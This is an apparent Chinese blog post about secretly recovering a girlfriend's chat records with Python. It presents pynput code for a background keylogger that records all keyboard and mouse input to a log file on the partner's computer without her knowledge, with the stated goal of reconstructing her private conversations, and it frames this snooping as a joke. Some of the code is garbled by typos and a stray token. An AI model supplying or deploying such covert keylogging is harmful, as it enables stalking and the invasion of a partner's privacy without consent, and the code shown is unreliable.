Python獲取女友聊天記錄詳細流程

2022-09-24 21:00:15 字數 2416 閱讀 5748

目錄

a朋友:你直接問。

b朋友:你女朋友睡了後,偷偷拿電腦查。

c朋友:咱們不吊死在一棵樹上,不對勁就早點脫身。

d朋友:我覺得a的不行,直接問容易打草驚蛇,不過他在你面前表現的這麼明顯,你可以去找他聊下,你們之間是不是感情出問題了。

f朋友:嘿,我不和你離的不遠嗎?支開你女朋友我上你家,幫你搞個能獲得聊天記錄的,這不就完美了嗎?

pynput 可以監控我們的鍵盤和滑鼠。目前具有此類功能的庫有很多,比如 pygame 等遊戲庫,但是當我們只需要監控鍵盤和滑鼠時,它們就顯得過於笨重了。

在他的電腦常駐乙個後台程序去實現監控鍵盤輸入並記錄下來,**大概可以這樣:

from pynput import keyboar

def on_press(key):

print(f' :pushed')

def on_release(key):

#print(f' released')

if key == keyboard.key.esc:

# stop listener

return false

with keyboard.listener(on_press=on_press,on_release=on_release) as lsn:

lsn.join()

控制台列印:

from pynput import mouse

def on_click(x, y, button, pressed):

if button == mouse.button.left:

print('left was pressed!')

elif button == mouse.button.right:

print('right was pressed!')

return false

else:

print('mid was pressed!')

# collect events until released

with mouse.listener(on_click=on_click) as listener:

listener.join()

控制台列印:

你會發現,每條列印都被列印了兩次,這是因為按下去和抬起來都會觸發滑鼠事件。

from pynput import keyboard,mouse

from loguru import logger

from threading import thread

# 定義日誌檔案

logger.add('demo.log')

def on_press(key):

logger.debug(f' :pushed')

def on_release(key):

#print(f' released')

if key == keyboard.key.esc:

# stop listener

return false

# 定義f1用於執行緒1

def f1():

with keyboard.listener(on_press=on_press,on_release=on_release) as lsn:

lsn.join()

def on_click(x, y, button, pressed):

if button == mouse.button.left:

logger.debug('left was pressed!')

elif button == mouse.button.right:

logger.debug('right was pressed!')

return false

else:

ltwylqcj logger.debug('mid was pressed!')

# 定義f2用於執行緒2

def f2():

# collect events until released

with mouse.listener(on_click=on_click) as listener:

listener.join()

if __name__ == '__main__':

# 起兩個執行緒分別監控鍵盤和滑鼠

t1 = thread(target=f1)

t2 = thread(target=f2)

t1.start()

t2.start()

檢視日誌內容:

這樣鍵盤操作已經全部被記錄,通過對這個日誌檔案進行簡單的nltk語言處理,就能復原聊天記錄。

這個記錄就不給你們展示了,屬於隱私,但能告訴你們結果,嗯,其實他女友www.cppcns.com挺好,看我上鋪兄弟每次都要加班很晚,身體有點不行了,但又好面子,所以偷偷給他在網上買補藥,想給他補補~笑死

實時聊天 記錄

基礎 時事通訊 對socket進行封裝的js var opt var el data opt 建立群通話客戶端 var eb new vertx.eventbus opt.url url 後台配置的服務位址 如 eb.onopen function 群組id 房間號 房間id 統一房間號才能再聊天室...

遊戲聊天記錄

戰鬥計算過程 1 暴擊 命中 miss等判定 2 根據玩家屬性和技能給予的邏輯進行計算,算出來攻擊和防禦的數值,綜合兩者計算出來傷害的血量 3 基礎計算 技能邏輯加成 暴擊 傷害吸收 傷害減免 吸血 反傷 4 基礎計算公式 attack attack attack n def 可以通過技能傳入引數來...

用Python來查詢聊天記錄

用python來查詢聊天記錄 import re def start first date,second date,first name,second name first re.compile f 個人聊天 second re.compile f 群內匹配 first count 0 個人聊天條數...